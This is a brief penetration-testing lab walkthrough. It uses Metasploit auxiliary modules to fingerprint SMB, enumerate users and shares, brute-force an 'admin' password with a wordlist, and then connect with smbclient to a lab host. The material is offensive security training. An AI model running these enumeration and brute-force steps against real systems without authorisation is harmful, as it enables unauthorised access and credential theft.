Lab
This lab covers SMB enumeration with Metasploit, from version detection through user, share, and login brute forcing.
Identify IP
ip a
The target is 192.96.180.3.
Start PostgreSQL and msfconsole
service postgresql start && msfconsole
Create Workspace
workspace -a smb_enum
Globalize the RHOSTS IP
setg sets the target globally, so it carries across modules.
setg RHOSTS 192.96.180.3
Search SMB Auxiliary Modules
search type:auxiliary name:smb
use auxiliary/scanner/smb/smb_version
exploit
Enumerate SMB Users
search type:auxiliary name:smb
use auxiliary/scanner/smb/smb_enumusers
exploit
Enumerate SMB Shares
SHOWFILES lists the files inside each readable share, not just the share names.
search type:auxiliary name:smb
use auxiliary/scanner/smb/smb_enumshares
set SHOWFILES true
exploit
Brute Force the Admin User
search smb_login
use auxiliary/scanner/smb/smb_login
set SMBUser admin
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
exploit
Connect via smbclient
List the shares, then connect to public as admin:
smbclient -L \\\\192.96.180.3\\ -U admin
smbclient \\\\192.96.180.3\\public -U admin